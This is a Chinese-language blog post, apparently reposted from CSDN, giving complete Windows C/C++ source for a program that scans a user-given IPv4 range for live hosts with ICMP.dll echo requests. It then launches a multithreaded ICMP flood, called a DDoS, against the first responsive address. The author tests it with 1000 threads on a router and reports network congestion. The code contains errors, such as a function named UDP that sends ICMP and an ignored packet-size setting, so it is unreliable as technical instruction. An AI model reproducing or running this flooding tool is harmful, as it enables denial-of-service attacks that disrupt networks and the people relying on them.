蠕虫探测有效IP并完成DDoS攻击

对指定IPv4地址段进行扫描获取有效IP

  在设计该程序过程中,希望提供较强的交互能力,因此希望可以在用户指定的网段进行有效地址的筛查,这是便需要完成对输入IPv4地址合法性的检验工作。
  首先明确IPv4地址格式。与IPv6格式不同,IPv4将描述地址的32位二进制数分为4部分,每部分8位进行表示,由于其32位二进制字符串过于冗长且不易分辨,因此采用将每8位转换成十进制数表示,中间加上英文句号做以分隔,最终以点分十进制数形式表示。因此IPv4地址4部分中的每一部分,数字范围都在0-255之间,且要求每部分除0外均不能以0开头;除点号“.”外不能出现其他非数字字符,且点号数量有且仅有三个。
  因此,设计中使用valid_digit()函数来判断除点号外是否存在非数字字符。使用is_valid_ip()函数来判断是否为合法IPv4地址,其中,首先利用strtok()函数将字符串以点号进行分割,再利用atoi()函数将字符串转换为int型整数进行范围的判断;根据两步情况最终返回判断结果。具体代码如下:

int valid_digit(char *ip_str){
    
    
    while(*ip_str){
    
    
        if(*ip_str >= '0' && *ip_str <= '9')
            ++ip_str;
        else
            return 0;
    }
    return 1;
}

int is_valid_ip(char *ip_str){
    
    
    int i, num, dots = 0;
    char *ptr;
    if(ip_str == NULL)  return 0;
    ptr = strtok(ip_str, ".");
    if(ptr == NULL)  return 0;
    while(ptr){
    
    
        if(!valid_digit(ptr))  return 0;
        num = atoi(ptr);
        if(num >= 0 && num <= 255){
    
    
            ptr = strtok(NULL, ".");
            if(ptr != NULL)  dots++;
        } 
		else  return 0;
    }
    if(dots != 3)  return 0;
    return 1;
}

  由于在用户指定范围内检测IPv4地址的有效性,因此存在从初始地址开始,完成IP地址自增的操作。同理,对原有地址进行划分后对每部分分别操作,最终再形成整合,如下:

char* GetNextIP(char *m_curip){
    
    
    int i, j, num[4] = {
    
    0, 0, 0, 0};
    for(i = 0, j = 0; m_curip[i] != '\0'; i++, j++){
    
    
	    while((m_curip[i] != '.') && (m_curip[i] != '\0')){
    
    
			num[j] = num[j] * 10 + m_curip[i] - '0';
			i++;
		}
	}
	
	if(num[3] + 1 == 255){
    
    
		num[3] = 0;
		num[2] += 1;
		if(num[2] == 255){
    
    
			num[2] = 0;
			num[1] += 1;
			if(num[1] == 255){
    
    
				num[1] = 0;
				num[0] += 1;
			}
			else num[1] += 1;
		}
		else num[2] += 1;
	}
	else num[3] += 1;
	
	sprintf(m_curip, "%d.%d.%d.%d", num[0], num[1], num[2], num[3]);
    return (m_curip);
}

  验证地址的有效性可以通过发送数据包来查看回应情况,ICMP提供了该种协议。当发送方发送数据包到接收方时,若传送期间丢包或发生其他意外,将导致连接的失败;当在发送方指定时间内没有得到响应时,也认为该地址无效。ICMP提供的部分重要差错报文对应返回值入下:

返回值 差错提示
0 回应送达
3 目标不可达
5 重定向或改变路由
8 回送请求
11 超时

  因此,可利用ICMP.dll文件中的接口来发包和检测返回值。其中,pIcmpSendEcho()函数用于向目标IP地址发送报文信息,并收集目标地址回复信息,其包含8个参数,其函数原型为:DWORD WINAPI IcmpSendEcho(HANDLE IcmpHandle, IPAddr DestinationAddress, LPVOID RequestData, WORD RequestSize, PIP_OPTION_INFORMATION RequestOptions, LPVOID ReplyBuffer, DWORD ReplySize, DWORD Timeout)。其中,IcmpHandle是一个ICMP文件对象,其可以使用pIcmpCreateFile()函数获得;DestinationAddress可以由函数inet_addr()函数对合法IPv4字符串进行转换得到;RequestData为发送数据包的初始地址,RequestSize则为改数据包大小;RequestOptions可在加载“ICMP.dll”文件并进行初始化时进行设置;ReplyBuffer为目标地址接收到信息后返回信息的存储地址,ReplySize为返回信息大小,该大小可由内置参数ICMP_ECHO_REPLY来实时获得,但一般设置该大小比返回的ICMP_ECHO_REPLY值偏大一些,防止溢出或返回失败;Timeout则为指定的超时时间。因此该函数作为核心函数完成ICMP协议的执行验证任务,对“ICMP.dll”的初始化及该函数参数的获得均作为辅助手段,目标为完成该函数。最终形成该核心函数如下:

BOOL ping(char *dest_ip){
    
    
    HANDLE hIP = pIcmpCreateFile();
    ULONG addr_ip = inet_addr(dest_ip); 
	char package[] = "TEST!";
	int backSize = sizeof(ICMP_ECHO_REPLY) + 32;
	char back_package[backSize];
	ICMP_ECHO_REPLY* pEchoReply = (ICMP_ECHO_REPLY*)back_package;
	DWORD nPackets = pIcmpSendEcho(hIP, addr_ip, package, 32, &acPingBuffer, back_package, backSize, 1000);
	if(pEchoReply->Status != 0) {
    
      
        pIcmpCloseHandle(hIP);
        return 0; 
    } 
    pIcmpCloseHandle(hIP);
	return 1;
}

  具体完整代码如下:

#include<stdio.h>
#include<string.h>
#include<WinSock2.h>
#include<windows.h>
#include<iphlpapi.h>
#pragma comment(lib, "Iphlpapi.lib")
#pragma comment(lib, "Ws2_32.lib")

/*---定义函数三个指针类型---*/ 
typedef HANDLE (WINAPI* pfnHV)(VOID);
typedef BOOL (WINAPI* pfnBH)(HANDLE);
typedef DWORD (WINAPI* pfnDHDPWPipPDD)(HANDLE, DWORD, LPVOID, WORD, PIP_OPTION_INFORMATION, LPVOID, DWORD, DWORD);
/*---定义三个指针函数---*/ 
pfnHV pIcmpCreateFile;
pfnBH pIcmpCloseHandle;
pfnDHDPWPipPDD pIcmpSendEcho;
IP_OPTION_INFORMATION acPingBuffer;

int valid_digit(char *ip_str);
int is_valid_ip(char *ip_str);
int initICMP();
BOOL ping(char *dest_ip);
char *GetNextIP(char *m_curip);

int main(){
    
    
	
	printf("请输入指定IPv4范围:\n");
	char begin_ip[16], judge_ip[16];
	int judge;
	do{
    
    
		printf("\t起始地址:");
		scanf("%s", &begin_ip);
		strcpy(judge_ip, begin_ip);
		judge = is_valid_ip(judge_ip);
		if(!judge)  printf("------非法IPv4地址,请重新输入!------\n");
	}while(!judge);
	char end_ip[16];
	do{
    
    
		printf("\t终止地址:");
		scanf("%s", &end_ip);
		strcpy(judge_ip, end_ip);
		judge = is_valid_ip(judge_ip);
		if(!judge)  printf("------非法IPv4地址,请重新输入!------\n");
	}while(!judge);
	
	if(!initICMP()){
    
    
		system("pause");
		return 0;
	}
	
	char now_ip[16];
	strcpy(now_ip, begin_ip); 
	printf("------有效IPv4地址------\n");
	while(strcmp(now_ip, end_ip) != 0){
    
    
		if(ping(now_ip)) printf("%s\n", now_ip);
		GetNextIP(now_ip);
	}

	return 0;
} 

int valid_digit(char *ip_str){
    
    
    while(*ip_str){
    
    
        if(*ip_str >= '0' && *ip_str <= '9')
            ++ip_str;
        else
            return 0;
    }
    return 1;
}
 
int is_valid_ip(char *ip_str){
    
    
    int i, num, dots = 0;
    char *ptr;
    if(ip_str == NULL)  return 0;
    ptr = strtok(ip_str, ".");
    if(ptr == NULL)  return 0;
    while(ptr){
    
    
        if(!valid_digit(ptr))  return 0;
        num = atoi(ptr);
        if(num >= 0 && num <= 255){
    
    
            ptr = strtok(NULL, ".");
            if(ptr != NULL)  dots++;
        } 
		else  return 0;
    }
    if(dots != 3)  return 0;
    return 1;
}

int initICMP(){
    
    
	// 装载ICMP.DLL连接库
    HINSTANCE hIcmp = LoadLibrary("ICMP.DLL");
    if(hIcmp == NULL){
    
    
        printf("------装载ICMP库失败!------\n");
        return 0;
    }
    //从ICMP.DLL中得到函数入口地址
    pIcmpCreateFile = (pfnHV)GetProcAddress(hIcmp,  "IcmpCreateFile");
    pIcmpCloseHandle = (pfnBH)GetProcAddress(hIcmp, "IcmpCloseHandle");
    pIcmpSendEcho = (pfnDHDPWPipPDD)GetProcAddress(hIcmp, "IcmpSendEcho");
    if((pIcmpCreateFile == NULL) || (pIcmpCloseHandle == NULL) || 
            (pIcmpSendEcho == NULL)){
    
    
        printf("------函数载入失败!------\n");
        return 0;
    }
    memset(&acPingBuffer, 0, sizeof(acPingBuffer));
    acPingBuffer.Ttl = 128; 
    return 1;
}
	
BOOL ping(char *dest_ip){
    
    
    HANDLE hIP = pIcmpCreateFile();
    ULONG addr_ip = inet_addr(dest_ip); 
	char package[] = "TEST!";
	int backSize = sizeof(ICMP_ECHO_REPLY) + 32;
	char back_package[backSize];
	ICMP_ECHO_REPLY* pEchoReply = (ICMP_ECHO_REPLY*)back_package;
	DWORD nPackets = pIcmpSendEcho(hIP, addr_ip, package, 32, &acPingBuffer, back_package, backSize, 1000);
	if(pEchoReply->Status != 0) {
    
      
        pIcmpCloseHandle(hIP);
        return 0; 
    } 
    pIcmpCloseHandle(hIP);
	return 1;
}
    
char* GetNextIP(char *m_curip){
    
    
    int i, j, num[4] = {
    
    0, 0, 0, 0};
    for(i = 0, j = 0; m_curip[i] != '\0'; i++, j++){
    
    
	    while((m_curip[i] != '.') && (m_curip[i] != '\0')){
    
    
			num[j] = num[j] * 10 + m_curip[i] - '0';
			i++;
		}
	}
	
	if(num[3] + 1 == 255){
    
    
		num[3] = 0;
		num[2] += 1;
		if(num[2] == 255){
    
    
			num[2] = 0;
			num[1] += 1;
			if(num[1] == 255){
    
    
				num[1] = 0;
				num[0] += 1;
			}
			else num[1] += 1;
		}
		else num[2] += 1;
	}
	else num[3] += 1;
	
	sprintf(m_curip, "%d.%d.%d.%d", num[0], num[1], num[2], num[3]);
    return (m_curip);
}

  对编写的自动测试IPv4地址有效性程序进行测试。当输入IP地址非法时,提示错误输入并要求再次输入,如下:

  当“起始地址”与“终止地址”均合法后,开始自动测试地址有效性,并返回有效地址信息,如下:

  接下来,对自动检测出的有效地址的合法性利用“ping”命令再次检测,不妨使用地址“117.51.142.69”进行测试,如下:

  观察到自编程序在指定范围内成功自动搜索到了一系列有效地址。
  综上,成功完成了对指定IPv4地址段进行扫描获取有效IP。

DDoS攻击

  DDoS攻击即为不断向目标IP发送报文请求但不接收返回报文,这将导致导量UDP及数据包对目标IP端口进行数据填充,导致正常TCP无法连接,而不得不加入等待队列或撤销TCP请求,最终导致TCP被饿死。
  由于在进行有效地址搜索的设计中,已经完成了发送数据包的功能,因此直接在此基础上进行增加线程操作即可。首先对ping()函数进行简化,去掉验证返回值的部分,由于此时目标地址IP已经固定,因此直接使用inet_addr()函数对其进行转换,避免函数中对该操作的重复。设计attack()函数作为进程的主体,其中完成100次循环向目标地址发送数据包的任务。
  创建进程的数量和数据包的大小由用户指定,需要注意的是,进程使用detach方法不影响进程的销毁,如果在销毁前进程发生改变,则会导致进程任务的失败,因此在最后一个进程创建的过程中应使用方法join来防止该现象的发生。主函数中创建进程代码如下:

	//创建进程
	for(int i = 0; i < thread_num - 1; i++){
    
    
		thread task(attack, attack_ip, package_size);
		task.detach();
	} 
	thread task(attack, attack_ip, package_size);
	task.join();

攻击函数attack()如下,其中UDP函数为ping函数的简化版:

void attack(ULONG attack_ip, int package_size){
    
    
	for(int i = 0; i < 1000; i++){
    
    
		UDP(attack_ip, package_size);
		Sleep(10);
	}
}

void UDP(ULONG attack_ip, int package_size){
    
    
    HANDLE hIP = pIcmpCreateFile();
	char package[package_size];
	int backSize = sizeof(ICMP_ECHO_REPLY) + 10000;
	char back_package[backSize];
	ICMP_ECHO_REPLY* pEchoReply = (ICMP_ECHO_REPLY*)back_package;
	DWORD nPackets = pIcmpSendEcho(hIP, attack_ip, package, 32, &acPingBuffer, back_package, backSize, 1000);
    pIcmpCloseHandle(hIP);
	return;
}

  具体完整代码如下:

#include<stdio.h>
#include<string.h>
#include<WinSock2.h>
#include<windows.h>
#include<iphlpapi.h>
#include<thread> 
#pragma comment(lib, "Iphlpapi.lib")
#pragma comment(lib, "Ws2_32.lib")
using namespace std;

/*---定义函数三个指针类型---*/ 
typedef HANDLE (WINAPI* pfnHV)(VOID);
typedef BOOL (WINAPI* pfnBH)(HANDLE);
typedef DWORD (WINAPI* pfnDHDPWPipPDD)(HANDLE, DWORD, LPVOID, WORD, PIP_OPTION_INFORMATION, LPVOID, DWORD, DWORD);
/*---定义三个指针函数---*/ 
pfnHV pIcmpCreateFile;
pfnBH pIcmpCloseHandle;
pfnDHDPWPipPDD pIcmpSendEcho;
IP_OPTION_INFORMATION acPingBuffer;
/*---自定义函数---*/
int valid_digit(char *ip_str);
int is_valid_ip(char *ip_str);
int initICMP();
BOOL ping_ip(char *dest_ip, int package_size);
char *GetNextIP(char *m_curip);
void attack(ULONG attack_ip, int package_size);
void UDP(ULONG attack_ip, int package_size);

int main(){
    
    
	
	printf("请输入要攻击的IPv4范围:\n");
	char begin_ip[16], judge_ip[16];
	int judge;
	do{
    
    
		printf("\t起始地址:");
		scanf("%s", &begin_ip);
		strcpy(judge_ip, begin_ip);
		judge = is_valid_ip(judge_ip);
		if(!judge)  printf("------非法IPv4地址,请重新输入!------\n");
	}while(!judge);
	char end_ip[16];
	do{
    
    
		printf("\t终止地址:");
		scanf("%s", &end_ip);
		strcpy(judge_ip, end_ip);
		judge = is_valid_ip(judge_ip);
		if(!judge)  printf("------非法IPv4地址,请重新输入!------\n");
	}while(!judge);
	int thread_num;
	printf("请输入线程数量:");
	scanf("%d", &thread_num);
	int package_size;
	printf("请输入攻击数据包大小:");
	scanf("%d", &package_size); 
	
	if(!initICMP()){
    
    
		system("pause");
		return 0;
	}
	
	char now_ip[16];
	strcpy(now_ip, begin_ip); 
	printf("------开始获取有效IPv4地址------\n");
	while(strcmp(now_ip, end_ip) != 0){
    
    
		if(ping_ip(now_ip, package_size)){
    
    
			printf("已找到目标IP地址:%s\n------开始攻击!------\n", now_ip);
			break;
		}
		GetNextIP(now_ip);
	}
	ULONG attack_ip = inet_addr(now_ip);
	
	//创建进程
	for(int i = 0; i < thread_num - 1; i++){
    
    
		thread task(attack, attack_ip, package_size);
		task.detach();
	} 
	thread task(attack, attack_ip, package_size);
	task.join();
	return 0;
} 

void attack(ULONG attack_ip, int package_size){
    
    
	for(int i = 0; i < 1000; i++){
    
    
		UDP(attack_ip, package_size);
		Sleep(10);
	}
}

void UDP(ULONG attack_ip, int package_size){
    
    
    HANDLE hIP = pIcmpCreateFile();
	char package[package_size];
	int backSize = sizeof(ICMP_ECHO_REPLY) + 10000;
	char back_package[backSize];
	ICMP_ECHO_REPLY* pEchoReply = (ICMP_ECHO_REPLY*)back_package;
	DWORD nPackets = pIcmpSendEcho(hIP, attack_ip, package, 32, &acPingBuffer, back_package, backSize, 1000);
    pIcmpCloseHandle(hIP);
	return;
}

int valid_digit(char *ip_str){
    
    
    while(*ip_str){
    
    
        if(*ip_str >= '0' && *ip_str <= '9')
            ++ip_str;
        else
            return 0;
    }
    return 1;
}
 
int is_valid_ip(char *ip_str){
    
    
    int i, num, dots = 0;
    char *ptr;
    if(ip_str == NULL)  return 0;
    ptr = strtok(ip_str, ".");
    if(ptr == NULL)  return 0;
    while(ptr){
    
    
        if(!valid_digit(ptr))  return 0;
        num = atoi(ptr);
        if(num >= 0 && num <= 255){
    
    
            ptr = strtok(NULL, ".");
            if(ptr != NULL)  dots++;
        } 
		else  return 0;
    }
    if(dots != 3)  return 0;
    return 1;
}

int initICMP(){
    
    
	// 装载ICMP.DLL连接库
    HINSTANCE hIcmp = LoadLibrary("ICMP.DLL");
    if(hIcmp == NULL){
    
    
        printf("------装载ICMP库失败!------\n");
        return 0;
    }
    //从ICMP.DLL中得到函数入口地址
    pIcmpCreateFile = (pfnHV)GetProcAddress(hIcmp,  "IcmpCreateFile");
    pIcmpCloseHandle = (pfnBH)GetProcAddress(hIcmp, "IcmpCloseHandle");
    pIcmpSendEcho = (pfnDHDPWPipPDD)GetProcAddress(hIcmp, "IcmpSendEcho");
    if((pIcmpCreateFile == NULL) || (pIcmpCloseHandle == NULL) || 
            (pIcmpSendEcho == NULL)){
    
    
        printf("------函数载入失败!------\n");
        return 0;
    }
    memset(&acPingBuffer, 0, sizeof(acPingBuffer));
    acPingBuffer.Ttl = 128; 
    return 1;
}
	
BOOL ping_ip(char *dest_ip, int package_size){
    
    
    HANDLE hIP = pIcmpCreateFile();
    ULONG addr_ip = inet_addr(dest_ip); 
	char package[package_size];
	int backSize = sizeof(ICMP_ECHO_REPLY) + 32;
	char back_package[backSize];
	ICMP_ECHO_REPLY* pEchoReply = (ICMP_ECHO_REPLY*)back_package;
	DWORD nPackets = pIcmpSendEcho(hIP, addr_ip, package, 32, &acPingBuffer, back_package, backSize, 1000);
	if(pEchoReply->Status != 0) {
    
      
        pIcmpCloseHandle(hIP);
        return 0; 
    } 
    pIcmpCloseHandle(hIP);
	return 1;
}
    
char* GetNextIP(char *m_curip){
    
    
    int i, j, num[4] = {
    
    0, 0, 0, 0};
    for(i = 0, j = 0; m_curip[i] != '\0'; i++, j++){
    
    
	    while((m_curip[i] != '.') && (m_curip[i] != '\0')){
    
    
			num[j] = num[j] * 10 + m_curip[i] - '0';
			i++;
		}
	}
	
	if(num[3] + 1 == 255){
    
    
		num[3] = 0;
		num[2] += 1;
		if(num[2] == 255){
    
    
			num[2] = 0;
			num[1] += 1;
			if(num[1] == 255){
    
    
				num[1] = 0;
				num[0] += 1;
			}
			else num[1] += 1;
		}
		else num[2] += 1;
	}
	else num[3] += 1;
	
	sprintf(m_curip, "%d.%d.%d.%d", num[0], num[1], num[2], num[3]);
    return (m_curip);
}

  对该程序进行测试,首先明确要ping的IP地址,查看路由器,得知该路由器IPv4地址为“192.168.1.1”,在cmd中使用ping命令查看是否可以ping通,如下:

  观察到该地址可以作为攻击地址使用。
  打开程序输入目标地址后,设置线程数量为1000,数据包大小为64,进行攻击。观察到CPU线程数量由原来的2733增长到3774,线程成功打开且CPU占有率直线上升,如下:

  开始攻击后CPU占有量如下:

  继续对网络状态进行对比,观察到网络出现明显的拥塞现象,且该现象一直持续,直至攻击结束,如下:

  攻击结束,网络状态出现断崖式下跌,且发送、接收速度跌回0。图中可以观察到,下滑前网络状态波形图和攻击时保持一致,说明网络拥塞是由于攻击而产生的,即DDoS攻击成功,如下:

  综上,DDoS攻击成功。

参考资料

ICMP协议详解
ICMP之应用:ping(ICMP.dll)
c++的并发操作(多线程)

猜你喜欢

转载自blog.csdn.net/m0_46161993/article/details/107103959